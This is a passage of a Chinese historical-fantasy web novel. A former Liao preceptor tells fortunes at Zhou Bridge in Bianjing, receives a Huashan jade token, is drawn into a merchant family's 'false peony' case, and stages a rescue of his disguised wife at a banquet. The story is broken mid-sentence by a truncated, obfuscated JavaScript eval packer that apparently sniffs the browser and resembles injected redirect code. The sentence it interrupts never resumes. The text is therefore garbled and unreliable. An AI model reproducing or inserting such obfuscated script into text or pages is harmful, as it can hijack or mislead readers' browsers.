布幌悬在柳枝上,上面“铁口直断”四个大字墨迹犹新,力透纸背,风骨铮然,只是那笔触间,终究少了几分江湖术士的圆滑市侩,多了些属于书写者的孤高与克制。杨排风说,这是用她烧火棍一头蘸了浓墨写的,比当年辽国国师府那面绣满金丝北斗、迎风招展的威严幡旗,瞧着更顺眼,也更……接地气。 第一位客人是个头发花白、挎着菜篮的老妪,一脸愁苦,絮絮叨叨:“先生,您给算算,我家那只花猫,通体雪青色的,就额头上有一小簇金毛,可灵性了!这都走失三日了,可急死老身了……” 刘皓南静听着,面上无波,指尖却无意识地在那半旧桌面上轻轻叩击起来,嗒、嗒、嗒……竟敲出了一段极其规律,暗合日月星辰运行节奏的韵律——这是华山派推演大型星盘,布列阵法时的起手习惯,早已刻入骨髓。如今,这曾用来谋算军国大事、窥探天机的技艺,第一次被用来推算一只狸花猫的踪迹。 他垂眸,随手从签筒中抽出一支寻常的竹签,瞥了一眼上面套话般的签文,手指在桌面下极快地进行了一次微缩的紫微斗数排盘。片刻,他将竹签递给老妪,声音平稳无波:“东南方向,近水之处,或有高大柳树。不妨去寻寻看。” 老妪接过竹签,将信将疑,但还是从菜篮底层摸出五枚磨得发亮的铜钱,郑重地放在桌上,千恩万谢地走了。刘皓南的目光扫过那五枚铜钱,又抬起,落在那面随风轻扬的布幌上,“铁口直断”四个字映入眼帘。他忽然想起当年在辽国,他也有面类似用途的幡旗,却是用金丝银线绣成,每次出行都有仪仗高举,所到之处人人屏息。与眼前这方粗布墨字相比,真是云泥之别。然而奇怪的是,他心中并无多少落差带来的苦涩,反而有种奇异的平静,甚至隐隐觉得,这方布幌,或许更踏实些。 同一片晨光,也透过樊楼后厨高窗的明瓦,洒落在堆积如山的碗碟上。杨排风卷起袖子,露出线条依旧流畅的小臂,正将一大桶滚烫的开水,熟练地浇进满是油污的碗碟之中,蒸汽瞬间腾起,熏得她额角渗出细密的汗珠,几缕碎发黏在颊边。 “新来的!手脚利索点!”管事模样的中年汉子拎着一大摞刚撤下来的蒸笼,“哐当”一声扔在她旁边的空木盆里,“这些,戌时前务必洗完,洗得干净,多给你五文!” “晓得了。”杨排风头也不抬,应了一声,手上动作更快。她洗碗的手法极其特别,双手在热水与碗碟间穿梭,快得几乎带出残影,每一只碗碟过水、擦拭、归位,都精准利落,带着一种奇异的韵律感——若有军中老卒在此,或能看出几分“天波府洗器法”的影子。那是当年在天波府,老教头传授的、用以快速清洗保养大量兵器的法门,讲究眼到、手到、心到,效率极高。没想到,当年在军中用来保养枪头刀剑的技艺,如今在这樊楼的后厨,用来涮洗碗碟,竟也这般得心应手。 三日前,她路过州桥,远远看见柳树下那个青衫卦摊,看见丈夫坐在竹凳上,微微蹙眉为一个老农推算来年收成时的侧脸。那一刻他眉宇间掠过的,并非对琐事的厌烦,而是一种类似于鸿鹄被囚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一刻,杨排风悬着的心忽然落回原处,取而代之的,是一种难以言喻的悸动与骄傲。她看着那个在挑衅与金钱面前不卑不亢、从容自持的男子,忽然清晰地意识到,眼前这个能为生计放下身段、却绝不折损风骨与原则的刘皓南,远比当年辽国朝廷中那个权倾朝野、喜怒不形于色的耶律皓南,更真实,更可亲,也更让她心折。 午后一场急雨,洗去了州桥的闷热。雨霁天青,一个抱着罗盘的青衫书生模样的年轻人,迟疑地走到卦摊前,试探着问:“先生……可解得《北斗经》第七篇中‘度厄璇玑’一句真意?” 刘皓南闻声抬眼,目光掠过书生洗得发白的袖口——那里,用同色丝线绣着一个极淡的、常人绝难察觉的云纹,正是华山派弟子标识。他不动声色,指尖蘸了杯中残茶,在光洁的桌面上寥寥数笔,勾勒出一幅精简却意蕴无穷的九宫图,缓声道:“璇玑者,北斗之枢也。转动不休,非为度外厄,实为度内心之迷障。心厄既度,外厄何存?” 那书生浑身剧震,盯着那幅看似随意,却暗含华山核心阵法精义的九宫图,瞳孔骤缩。他猛地后退一步,整了整本已十分整洁的衣袍,竟是躬身行了一个极为郑重的道门稽首礼,声音压得极低,带着激动与恭敬:“可是……刘师叔当面?弟子奉凌霄子师叔祖之命,下山游历,并嘱弟子若至汴京,务必将此物送至州桥附近,交予有缘人。”说着,他小心翼翼地从怀中取出一物,并非书信,而是用软绸包裹着的半块玉佩——那玉佩质地温润如脂,雕刻着蟠龙环绕祥云的图案,龙首处有整齐的断口,显然是另一半缺失了。 刘皓南的目光触到那半块蟠龙璧的瞬间,呼吸几不可察地一滞。他伸出手,指尖微微有些颤抖,接过了那半块玉佩。触手生温,熟悉的纹路与气息,正是师尊陈希夷当年随身佩戴、用以镇守华山灵脉的至宝——蟠龙同心璧。当年师尊羽化前,将此璧一分为二,另一半不知所踪,未曾想今日竟以这种方式重现。他摩挲着那光滑整齐的断口,冰凉温润的触感直透心底,无数前尘往事汹涌而来,恍如隔世。师尊临终之言犹在耳畔:“皓南,道统传你,非为守一山一派之私业……是为苍生,亦为……守住本心。” 如今,在这汴京州桥,市井喧嚷之中,半块蟠龙璧重现,是机缘巧合,还是师尊冥冥之中的另一种启示?暗示着华山道统,将在这红尘万丈中,别开生面? 恰在此时,一阵孩童的欢呼声由远及近,打破了凝重的气氛。只见上午来寻猫的老妪,一手提着条扑腾的肥鱼,一手费力地抱着那只通体雪青、额带金纹的胖猫,喜气洋洋地奔来,老远就喊:“先生!先生神算!真让您说准了!这馋猫,果真躲在瓦舍后巷柳树边的大水缸旁睡得正香,怕是偷吃了人家的鱼,撑得走不动道了!” 她话音未落,几个顽童追着只雪青猫崽跑来,那猫额间金纹灼灼,身后竟跟着三五只花色各异的猫儿。一场“失猫”引来满街猫踪,恰应了“猫粮”之兆——也预示这卦摊将成汴京寻猫觅犬的宝地。 暮色合拢时,刘皓南收摊。案头陶钵堆满铜钱,间杂碎银——恰够付客栈账,再买只州桥烧鸡。杨排风从茶坊阴影走出,递上油饼:“刘半仙今日挣得酒钱否?” “够买烧鸡,余三文可添两碗冰雪冷元子。”他语气轻松,仿佛这钵铜钱比辽主赏赐千金更令人开怀。二人并肩走过州桥,卖冰雪元子的老丈笑问:“先生明日可还出摊?老婆子要算失银簪落在何处。” 华灯初上,布幌在晚风中轻扬。幌角新绣朵小梅——是杨排风趁他算卦时,拆了鬓边珠花用金线缀上的。她说:“江湖术士的幌子,总该有些烟火气。” 御街尽头,皇城司锦衣公子躬身向一袭蓝袍:“展大人,那卦师确像辽国故人。”展昭望向州桥方向,怀中猫儿忽然轻叫。“无妨,”他挠了挠御猫下颌,“江湖术士也好,故国权臣也罢,能在汴京安生度日,便是大宋良民。” 而州桥卦摊上,那半块蟠龙璧在夜色中泛起微光。刘皓南摩挲着断璧切口,想起杨排风昨日为他补衣时说的话:“无论你是刘皓南还是耶律皓南,我爱的从来都是这个会为我挑破水泡、会为生计发愁的你。” 这句话,将成为未来风雨中最坚固的锚点——当身份与记忆的迷雾袭来时,杨排风会凭着这份对本质的认知,穿过所有幻象,牢牢握住那只曾为她拆下国师袍金线,如今为她起卦谋生的手。 夜色渐深,卦摊的布幌在汴河风中轻扬,仿佛在诉说:这世间最动人的道法,不在紫微斗数,而在平凡相守。 29. 真假金牡丹 州桥下的汴河水裹着漕船沉浮的喘息,在初夏晨光里蒸腾起湿润的水汽。展昭站在新支起的卦摊前,湛蓝官服的下摆掠过满地狼藉的菜叶。布幌在风里抖着,“铁口直断”四个字墨迹间隐隐含着紫微斗数的轨迹——绝非寻常江湖把式。 卦摊后的人自《周易》书卷中抬起头。 “刘先生。”展昭拱手,语气平稳。他知对方是北汉皇孙,宋于他有毁家灭国之仇,那声“兄”在舌尖转了一圈,终是换成了更持中的称呼。 “展护卫。”刘皓南拂袖示意竹凳,目光掠过展昭腰间巨阙,在剑穗上那枚玉女门嫡传弟子才有的青玉扣上停了半息,又淡淡移开,“别来无恙。刘某如今一介布衣,借此卦摊谋生而已。”案头宣纸墨迹未干,“地火明夷”卦变“山火贲”——垂翼而归,其志难申。 展昭落座,巨阙剑搁在案角。“近日汴京出了桩奇事,”他指尖无意识叩着剑鞘,三急两缓,是玉女门内询问“可否援手”的暗号。敲到第三下他忽地顿住——这试探太露痕迹。对面这位,十五年前是能凭山川地势摆出天门阵的辽国国师。“金员外家的千金,月前泛舟汴河,归家后便判若两人。” 他省略了卷宗上“时露妖异,身带水腥,且坚称自己才是真牡丹”的诡异记载。有些话不必说透,就像他知道刘皓南一定看得出他的来意,而刘皓南也知道他看得出自己看得出——可他还是得把这出“偶遇闲谈”的戏唱完。包大人那句“此人若肯指点一句,胜我开封府查访十日”言犹在耳,可他也记得十五年前边关烽火里,这位辽国前国师眼中对宋旗的冰冷。 黑白子落在天元位,是当年天门阵的起手式。“展护卫。”刘皓南推过茶盏,茶水在粗陶碗中无风自动,旋出个纤毫毕现的太极图,“刘某离山时立过誓,此生不为宋廷效力。”他抬眼,目光平静却深不见底,那是亡国皇孙看赵家臣子时才有的疏离,“此事,爱莫能助。” 漕船摇橹声惊起一群麻雀。展昭望着茶水中缓缓转动的阴阳鱼。他本可提玉女门——那位被师父聂隐娘如珠如宝养在宗门之内,年仅七岁的小师妹刘望舒。他离山十余载,只在两年前见过那冰雪聪明的小女孩一面。若他提起,或许…… 可话到嘴边,却成了:“先生这卦摊,风水甚好。” 卦摊前买炊饼的稚儿恰在此时跌倒。刘皓南信手扶住,指尖掠过孩童衣角时,拈起片金红色的细鳞——非鱼非贝,在晨光下泛着湿润的、河底才有的暗光。展昭瞳孔微缩。金府后花园池边石缝里卡着的,就是此物。 原可借此追问的。 可展昭只是看着刘皓南将鳞片拢入袖中,看着对方垂下眼继续推演卦象,最后听见自己说:“巷口王婆家的炊饼,料足,孩童……应会喜欢。” 刘皓南执棋的手几不可察地一顿。他抬眼,目光在展昭脸上停了片刻。他自然知道展昭是女儿的大师兄,但也仅此而已。华山一别十余年,此人已是开封府御猫,是赵宋的官。而自己袖中指尖起卦,“泽水困”变“风水涣”,坎为水,巽为风,妖氛缠浊,暗流涌动——这汴京的浑水,他不想趟,也不能趟。 “有劳。”他终是几不可察地颔首,声音听不出情绪。 展昭起身,湛蓝官服在灰扑扑的市井里醒目得像一面旗。 “展护卫。”就在他转身欲走时,刘皓南忽然开口,声音不大,却清晰。 展昭回头。 刘皓南以指蘸了蘸碗中残茶,在木案上信手画下三道水痕。起笔收锋的走势,乍看随意,细观却暗合玄门破障清心符的笔意——正是玉女门筑基弟子需熟记的《清静咒》中,专克幻术迷障的那一节。画完,他便不再看展昭,仿佛只是随手涂鸦。 “汴河水浊,”卦师声音淡得像要化在晨风里,目光落在棋盘上,指尖摩挲着那枚辽宫旧制的墨玉棋子,“近日,慎饮。” 展昭怔在原地。那句“汴河水浊”在耳边滚了三滚,滚出金府老仆战战兢兢的供词:“小姐落水归来后,只肯饮每日从汴河新取的活水,井水、泉水一概不碰……” 他抬手按住腰间葫芦,指腹摩挲过光滑的葫芦肚。那里头,是今晨在州桥下新灌的、浑浊的汴河水——他本打算带回府衙,让公孙先生细验。 葫芦倾覆,水渍在青石板上洇开深色的痕。刘皓南已低头继续摆弄他的棋子,仿佛刚才那句提醒只是茶余饭后随口一提的闲话。可展昭看见,那枚墨玉棋子正压在“山火贲”的变爻上——贲者饰也,粉饰太平,其下恐非人哉。 他郑重长揖,转身没入人群。走出很远再回头,卦摊已收,青衫背影正弯腰收拾竹凳,袖口磨出的毛边在风里颤了颤。 而展昭腰间,那只空了的葫芦随着步履轻轻晃荡。里头装着一声未出口的“多谢”,和一句终于不必再演的实话——他知道,那三道水痕和那句提醒,已是这位前北汉皇孙,前辽国国师,看在女儿师门那点微薄香火情上,能给出的全部了。 州桥下的喧嚷随着那顶紫檀肩舆的落地,突兀地静了三分。不是寻常的安静,是一种被权势与铜臭强行熨平、连漕船号子都识趣压低三分的死寂。 开路的是四名青衣小厮,膀大腰圆,眼神剽悍,推搡路人如同拨开挡道的芦苇。随后是八个捧盒的婢女,罗裙锦绣,手捧的朱漆描金捧盒里不知盛着什么,只觉香气袭人。肩舆是上好的紫檀木,轿帘一掀,先探出的是一双云头锦履,鞋尖各缀着颗龙眼大的东珠,随即,那身雨过天青色的织锦袍角便流泻而出。 年轻公子约莫二十出头,生得一副好皮囊,面如傅粉,唇若涂朱,只是眉宇间那股用金银堆砌出的骄矜之气太过跋扈,冲淡了五官的俊秀。他这身袍子着实扎眼——雨过天青的底子本就罕见,上用赤金线绣了整幅《洛神赋图》,曹子建与洛神衣袂翩跹,云水浩荡,这般规制,本非寻常富贵人家敢用。腰间羊脂玉带扣雕作狻猊吞日,悬着的七宝香囊随着他刻意放缓的步子叮当作响,人未至,那股浓烈到近乎霸道的龙涎香混着沉水香的气息,已蛮横地漫过了整个卦摊。 “让开让开!没长眼吗?金三公子到!”开路的小厮嗓音尖利,一脚踢飞了卦摊前啄食米粒的麻雀。 年轻公子终于在卦摊前站定。他目光先是嫌恶地扫过简陋的条凳和磨损的案几,然后才落到那面“铁口直断”的布幌上,眼底飞快闪过一丝与其通身纨绔气派极不相称的焦灼与疲惫。但他掩饰得极快,袖子一抖,“啪”一声,一锭十两的雪花银便砸在了青石卦案上。银锭底部的“内府”戳记,在阳光下闪着刺目的光。 “可是州桥那位新来的刘神算?”金不换开口,刻意拖长了调子,是汴京顶级纨绔子弟特有的、带着惫懒与傲慢的腔调,仿佛多吐一个字都费劲,“在下金不换,家中行三。听闻先生昨日替张屠户寻回了走失的猪崽,当真好灵验。” 他嘴上说着“好灵验”,眼神却飘忽,显然心思完全不在此。 刘皓南自《周易》书卷中缓缓抬眸,目光平淡地掠过那锭足以让寻常人家过活一年的官银,又落回书页:“公子找错人了。刘某只卜问寻常吉凶,不看风水,亦不寻物。” “欸,先生莫急推拒嘛。” 金不换像是没听见,又向前迫近半步,袖中像是揣着个聚宝盆,手腕一翻,又是一锭黄澄澄的金元宝落在银锭旁,砸出更沉的一声闷响。他身子微微前倾,那刻意端着的慵懒腔调终于绷不住,压低的声音里透出急切,甚至带着一丝不易察觉的恳求:“实不相瞒,是为舍妹……月前泛舟归来,便染了怪疾。” 他拇指无意识地,反复摩挲着左手大拇指上一枚羊脂白玉雕成的韘(扳指),仿佛那是他的定心丸。“白昼时浑身冰凉刺骨,言语颠倒,不识亲人;可一到子夜,便……便温存可人,与从前无异,只是……” 他顿了顿,声音更低,“只是身上总带着一股子河底水腥气,驱之不散。” 刘皓南本已垂眸,不欲再理会这跋扈的富家子。然而,就在金不换拇指摩挲的瞬间,他眼角的余光捕捉到了那枚玉韘的纹样。 那不是寻常富贵人家喜爱的简化蟠螭纹。玉韘外侧浮雕的,是三条螭龙。正中主螭怒目圆睁,威猛狰狞;两侧小螭身形略小,呈反向盘绕之姿,螭尾巧妙地交缠在一起,而在那交缠之处,以极精微的刀法,隐现北斗七星纹样 ——三螭衔珠,北斗暗藏。这是北汉皇室工坊独有的纹饰,非宗室近支不可用!他只在幼时,于北汉故宫的礼器与父王的私印上见过。亡国那夜,父王仓促塞入他怀中的,正是一枚与此纹样相类、但形制略小的玉佩信物! 金不换并未察觉刘皓南瞬间的眼神变化,他见对方沉默,以为价钱不够,竟又掏出一张银票,“宝源号”的朱红大印刺目,面额是五百两。“家父请遍汴京名医,连宫里退下来的老太医都悄悄瞧过,都说脉象古怪,非药石可医,倒像……像沾了不干净的东西。” 他语速加快,那股纨绔的傲慢几乎被焦虑吞没,“因涉及闺誉,不敢声张。听闻先生是江湖新面孔,这才冒昧相请,万望先生慈悲,过府一观!诊金……诊金好说!” 刘皓南的指尖,在《周易》粗糙的书页下,轻轻触到了那层薄如蝉翼的夹层。里面是他仅存的、关于故国的零星记忆——一片泛黄的北汉皇室密录残页,上面绘制的礼器图样中,正有这“三螭衔珠北斗纹”。冰凉的羊皮纸边缘,仿佛还残留着故国宫阙的尘埃与血火气。
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他卷起那面“铁口直断”的布幌,动作间,宽大的袖袍似无意拂过金不换搁在案边的手。 袖风掠过,刘皓南的指尖,以肉眼难辨的速度,在金不换拇指的玉韘上极轻地一触——指尖传来极其细微的凹涩感。位置正在螭尾相交处,北斗第七星“瑶光”的星位。当年父王将玉佩信物塞给他时,在他耳边用气音留下的最后一句嘱咐便是:“……真品螭尾‘瑶光’位,有匠人留瑕,指尖可感……” 是真的。 刘皓南的心沉了下去,随即又被一股冰冷的潮水般的复杂情绪淹没。故国遗物,竟出现在汴京一个商贾之子的手上,还与一桩透着妖异的“怪疾”相连。 他动作未停,将最后一枚用来占卜的铜钱收入粗布口袋,声音平稳无波:“明日辰时。刘某当过府一探。” 峰回路转,金不换大喜过望,方才的慌乱焦虑一扫而空,又恢复了那副挥金如土的嚣张模样,连连作揖:“多谢先生!多谢先生!明日辰时,在下定派最舒适的轿子来接您!” 他招呼小厮准备起轿,忽又想起什么,凑近两步,压得更低的声音里带着一股脂粉酒气混杂的暖味:“先生今日先好生歇息。晚些时候……若先生不嫌弃,不换在丰乐楼备了薄席,还请先生务必赏光,也让不换尽尽地主之谊。” 刘皓南拱手,语气疏离:“多谢公子美意,只是刘某方外之人,不便……” “诶,先生不必急着回绝。” 金不换挤了挤眼,那股纨绔子弟特有的、自以为是的“我懂你”的神态又回来了,“丰乐楼新来了几位扬州姑娘,琴棋书画样样精通,尤其是……听琴辨音、鉴赏古物的本事,堪称一绝。对先生明日‘过府一观’之事,或许……大有裨益呢?” 他刻意在“听琴辨音”和“鉴赏古物”上咬了重音,意有所指。 刘皓南目光微凝,看了他一眼,未置可否。 金不换只当他默许,心满意足地大笑几声,在一众仆役的簇拥下,登上肩舆,扬长而去。那嚣张的排场与喧闹,随着轿子远去,才渐渐被州桥畔重新响起的市井声淹没。 待那一行人消失在街角,刘皓南独自立在已收拾干净的卦摊前。夕阳将他的身影拉得细长孤直,指尖在粗布口袋中,无意识摩挲着那枚冰凉坚硬的辽国墨玉棋子,仿佛要从中汲取一丝沉静的力量。 州桥下漕船往来如旧,卖“冰雪冷元子”的老汉推着车子经过,随口招呼:“刘先生,明日还出摊不?” “受人之托,明日需往城西一趟。” 刘皓南抬眼,望向汴京城西富贵坊的方向。暮色中,一群白鸽正掠过那片高门大户连绵的飞檐斗拱,翅尖染着夕阳的金辉,也染着高门大户驯养信鸽时惯用的、不易褪色的金粉。 他想起金不换临走前那句意味深长的“听琴辨音”,嘴角几不可察地向下抿了抿,扯出一丝冰冷的弧度。这纨绔公子虽草包,挥金如土,行事嚣张,对妹妹的关心倒不似作伪,而且……似乎也并非全然懵懂,至少懂得些汴京城里旁门左道的消息门路。 只是不知,这枚牵扯出故国秘辛的蟠螭玉韘,和这桩透着水腥妖气的“怪疾”,底下究竟藏着多深的浑水。 暮鼓声沉沉响起,回荡在汴京城的街巷间。刘皓南背起简单的行囊,转身走向自己暂居的小客栈。他不知,那枚蟠螭玉韘的出现,已如投入深潭的石子,不仅激起了“真假金牡丹”案的涟漪,更将一条埋藏了三十余年、关乎北汉遗秘的线,轻轻扯动。 汴京城的夜,华灯初上,暗流方兴。 30. 捉奸戏与夜惊魂 酉时三刻,丰乐楼“醉月轩”内,烛火煌煌,映得满室金玉生辉。 金不换一身簇新锦袍,袍角用金线满绣着富贵牡丹,歪坐在铺着锦褥的紫檀木坐墩上,将杯中琥珀色的“琼酥酒”一饮而尽,随即重重将金杯顿在紫檀案几上,发出清脆的声响。他志得意满地拍着桌案,嗓门洪亮,恨不得全楼都能听见:“刘先生!快尝尝这道‘玲珑牡丹鲊’!您可知,这可是官家御赐的配方,等闲人莫说吃,见都见不着一回!这丰乐楼三日才做这么一道,用的皆是渤海的冰鲜赤鳞鱼、岭南的蜜渍香橼丝,佐以十八味秘制香料,非百两雪花银不能得!也就先生您来了,金某才舍得点这一道,旁人?嘿,他们可没这个口福眼福!” 刘皓南端坐席间,一身半旧的月白道袍在这满室金玉锦绣中显得格格不入,却又自有一股清寂之气。他指尖捏着越窑青瓷杯,目光沉静地掠过满桌珍馐:炙烤得金黄酥脆的乳猪、垒成玲珑宝塔状的蟹黄毕罗、汤汁如乳的莼菜鳜鱼羹……每一道都价值不菲。金不换这般近乎炫耀的殷勤,早已超出了寻常待客之道。那枚刻意显露的蟠螭玉韘,金府讳莫如深的“怪疾”,还有眼下这顿足以让寻常百姓家过活数年的“接风宴”……其间关联绝非巧合。这位金三公子,所求恐怕不小。只是他久在辽国宫廷与权力漩涡中心,疑心早已浸入骨髓,此刻面上不动声色,心中却已将这宴席的每一分奢华,都换算成了背后可能隐藏的代价与凶险。 “金三公子破费了。”他举杯虚应,酒液刚滑过喉间,鼻尖却忽然捕捉到一丝极淡的、混在浓郁龙涎香与酒肉气息中的皂角清气。那味道干净、质朴,与这满室的奢靡格格不入。刘皓南的指尖几不可察地一颤,杯中酒液漾开细微涟漪。 是杨排风。她在樊楼后厨洗涮一日,身上总会带着这种洗净碗碟后的干净气息,混着些许烟火与井水的味道,他再熟悉不过。 绝不可能。这个念头如冰锥刺入脑海。她此刻理应还在樊楼后厨,与成堆的油腻碗碟为伴,即便收工,也该回他们那间简陋的客栈歇息,怎会……出现在这汴京顶级的销金窟、这脂粉香气与金钱味道同样浓烈的丰乐楼? 珠帘“哗啦”一声脆响,打断了刘皓南翻腾的思绪。数名乐伎怀抱乐器,鱼贯而入,香风随之弥漫。 刘皓南的目光如鹰隼般不动声色地扫过。弹筝的红衣女子指法娴熟,眉目含情;吹箫的绿衫少妇眼波流转,身段风流;抱阮的黄衣姑娘步履轻盈,年岁最轻……他的视线原本已要移开,却猛地钉在了最后那道身影上。 那是一个抱着琵琶的女子,垂首敛目,刻意立于灯影稍暗的角落。她梳着时下汴京乐伎间流行的高髻,但发髻的样式和固定方式略显生硬,鬓边那朵绢制芍药,在明亮的烛火下泛着生硬而不甚协调的色泽,针脚略显粗糙,一看便是匆忙间从某件旧衣上拆下充数的饰物。身上一袭月白襦裙,料子普通,但那领口绣着的缠枝莲纹边…… 刘皓南的呼吸几乎在瞬间停滞。 是“回纹锁边”。杨排风独有的缝法。她说这般缝出的衣领最是耐磨禁扯,在樊楼后厨那般劳作一日也不易开线。他见过太多次了——在辽国寒冷的冬夜里,她凑在灯下为他缝补被树枝刮破的裘袍;在颠沛流离的旅途中,她于破庙漏雨中修补行囊;甚至就在昨夜,汴京客栈昏黄的油灯下,她还在为他缝补那件洗得发白的道袍袖口…… 惊疑如同冰水浇头,旋即被一股难以遏制的怒火取代。她怎敢?! 这是何等龙潭虎穴,她竟易钗而弁,混迹于乐伎之中!若被识破身份,辽国前国师夫人乔装潜入汴京最负盛名的酒楼,与纨绔子弟宴饮周旋……明日汴京的流言将会何等不堪?若这金不换并非表面这般草包,而是别有用心,窥破她身份,又会引来何等祸事?她简直……胡闹! 怒火之下,是更深沉、更尖锐的担忧与后怕,如毒蛇噬咬心口。 “刘先生?刘先生?”金不换连唤两声,见刘皓南目光似胶着在乐伎那边,不由露出暧昧了然的笑意,用手中镶玉的象牙筷点了点那队乐伎,扬声笑道:“先生可是看中了哪位佳人?今夜良辰,但说无妨!金某做东,定让先生尽兴!” 刘皓南猛地回神,意识到自己方才的失态可能已落入有心人眼中。电光石火间,无数念头掠过脑海。她为何在此?是担忧他独自赴宴,还是察觉了金不换的不对劲?抑或是……他不敢深想。眼下最要紧的,是绝不能让她暴露,更不能让金不换起疑。 必须立刻带她离开,且要有一个合情合理,符合“风流宾客”身份的借口。他心念急转,面上却迅速浮起一种与往日清冷截然不同的,带着三分刻意轻佻的笑容,目光重新落回那抱琵琶的身影,故意用一种略显慵懒的腔调道:“金三公子盛情款待,刘某却之不恭。既蒙公子抬爱,那刘某便不客气了。”他手指看似随意地一指,正指向角落那道月白身影,“就烦请那位抱琵琶的姑娘近前,为刘某奏上一曲吧。久闻汴京音律精妙,不知姑娘可擅《凉州曲》?” 被点中的杨排风浑身几不可察地一僵。她混进来本是想瞧瞧这“没良心的”是否真被这汴京纨绔带坏了,学那些浮浪子弟吃花酒。谁料刚进这富丽堂皇的雅间,还没看清席面,就听见自己丈夫用那种她从没听过的、带着几分异样慵懒甚至轻浮的语调点曲子。她下意识抬头,正正撞上刘皓南投来的目光——那眼里没有她预想中的惊讶或慌乱,只有一片沉郁的深黑,以及一种不容错辨的、近乎严厉的警告。 他在用眼神说:别动,别出声,信我。 不等她细思,刘皓南已起身离席。月白锦袍的下摆随着他的动作,不经意般扫过她沾了些许尘土的绣鞋鞋尖。他在她面前站定,距离近得她能闻到他身上淡淡的酒气,以及那永远挥之不去的、属于他的清冽气息。在满堂或好奇或暧昧的注视下,刘皓南忽然伸出手——那只曾执掌辽国权柄、也曾于借山川地势、暗合天时变幻的天门阵前挥斥方遒的手,此刻却带着一种刻意模仿的、带着异域风情的直接,攥住了她襦裙衣领的右襟,毫不犹豫地向侧下方一扯—— “刺啦”一声细微却清晰的布料撕裂声响起,衣领被扯开寸许,露出底下中衣素白的边缘,以及一小段纤细的锁骨。 杨排风瞳孔骤缩,脸颊瞬间涌上羞愤的血色。这动作!干脆、利落、毫不拖泥带水,带着军旅中处理紧急伤患时的果决。十五年前,在一线天那阴冷的山洞里,她胸口中了淬毒弩箭昏迷不醒,醒来时便发现衣襟被如此撕开,伤口处已敷上了捣碎的草药。当时他撕开她衣襟止血的手法,与此刻如出一辙! 他在用只有她能懂的方式示警:有性命之危,跟我走,立刻! “姑娘这琵琶……”刘皓南已就着极近的距离低下头,温热的气息拂过她耳畔,用只有两人能听见的气音,声音却刻意模仿着记忆中辽宫宴席上,某些贵族打量舞姬时的腔调,刻意压低了,却带着露骨的审视与不加掩饰的兴趣:“抱得这般紧作甚?这身段……倒让刘某想起北方草原上耐寒的骏马,别有一番风致。不知可否与刘某‘单独’探讨一番塞外风物?” “探讨”二字,被他咬得暧昧不清。杨排风耳根瞬间红得滴血,一股混合着震惊、羞耻和愤怒的热流直冲头顶。这般直接甚至略显粗鲁的审视语气和动作,她在辽宫宴席上,曾见过那些贵族对舞姬如此!他怎么会……怎么会做出这种举动,说出这种话?!要知道,即便是在辽国,以她国师夫人的身份,也无人敢对她如此轻佻无礼! “先生请自重!”她脱口而出,一半是真实喷涌的羞愤,另一半却是骤然惊觉——这根本不是她认识的刘皓南会说出来的话!他在演戏!他在扮演一个被美色所迷、行事直接的“急色”宾客! “自重?”刘皓南低低笑了一声,那笑声里褪去了他惯有的清冷克制,反而透出一种她陌生的,带着蛮横意味的随意。他忽然伸出右手,食指有些生硬地勾起她低垂的下巴,迫使她抬头——这动作直接而带着某种不容置疑的掌控感,全然不似宋地风月场中惯有的缠绵试探。接着,在杨排风惊愕的目光中,他竟用拇指在她柔软的唇瓣上重重抹过,力道不小,带着粗砺的指茧,留下明显的触感,也让杨排风险些痛呼出声。 然后,他抬起头,用清晰的、能让满室之人都听清的声音,扬声道:“姑娘面善得紧,刘某一见便觉有缘……今夜良辰,金三公子,刘某可否先行一步,与这位姑娘‘私下’讨教些音律?” 他看向金不换,笑容里带着刻意表现的,急不可耐的期待。 满堂先是一静,随即爆发出心照不宣的哄笑。金不换更是拍着大腿,笑得前仰后合,挤眉弄眼道:“哎呀呀,刘先生果然快人快语。眼光……哈哈,眼光倒是别致!这姑娘嘛,身段是有的,就是这年纪……看着不似那些二八佳人水嫩,没想到先生好这一口?行行行,春宵一刻值千金,金某岂能不成人之美?先生自便,自便!哈哈!” 杨排风脑中嗡嗡作响,一片空白。她怔怔地看着近在咫尺的丈夫——这个曾在借山川地势、暗合天时变幻的天门阵前号令千军,曾在辽国大殿之上执掌朝纲,如今在州桥市井间以卜卦谋生的男人,此刻正用一种她全然陌生的、近乎粗鄙的姿态,在众目睽睽之下,“调戏”着自己的结发妻子。 那些动作生涩、直接,甚至有些笨拙的粗暴,带着一种并非宋地风月场中常见的、略显异样的风格。他根本不懂,或者说无暇去精细模仿宋地那些婉转缠绵的调情手段,只能凭借某种模糊的、可能来自辽地见闻的印象,临场发挥。而这笨拙到近乎可笑的模仿,恰恰像一道闪电,劈开了杨排风心头的羞愤迷雾——他在用这种只有他们之间才能瞬间意会的方式,向她传递最紧迫的警示:情况危急,远超想象,必须立刻、马上离开此地,配合我! “公、公子……”她猛地低下头,将怀中的琵琶抱得更紧,似乎想借此挡住领口那处撕裂,声音里带出恰到好处的颤抖与惊慌——这倒有七八分不必假装,她是真的被这突如其来的变故和丈夫陌生的举止惊得心跳如鼓,“奴家、奴家只卖艺,不……不陪客的……” “刘某出三倍缠头。”刘皓南不等她说完,已从袖中摸出一锭不小的银子,不由分说地塞进她因紧抱琵琶而微微汗湿的掌心。就在指尖相触的瞬间,他蜷起的中指在她掌心极快、极轻地一按一划。 杨排风指尖一颤。这个暗号!当年在辽国,每逢遇到需要立刻噤声、紧随他行动脱身的险境,他便会如此示意! 她抬眼,终于穿透他刻意伪装的轻浮面具,看清了他眼底深处那一抹几乎要压不住的焦灼与厉色。这不是逢场作戏寻欢作乐,是真真切切遇到了危险,而且是大危险! 心一横,杨排风忽然“哎呀”低呼一声,像是被吓得手足无措,又像是羞愤难当,手一松,怀中的琵琶“咚”一声掉落在柔软的地毯上。她身子一软,仿佛失去了支撑,朝着刘皓南的怀中倒去——倒的方向和角度,恰好是他最容易接住的位置,正是一副惊慌失措下“投怀送抱”的模样。 刘皓南顺势将她打横抱起,对着主座上的金不换朗声笑道,语气是刻意学来的、带着几分得意与急切:“美人投怀,盛情难却,最是难得。金三公子,刘某就先告辞,不扫诸位雅兴了——明日辰时,金府再见,定当为公子仔细分说那‘怪疾’之由!” 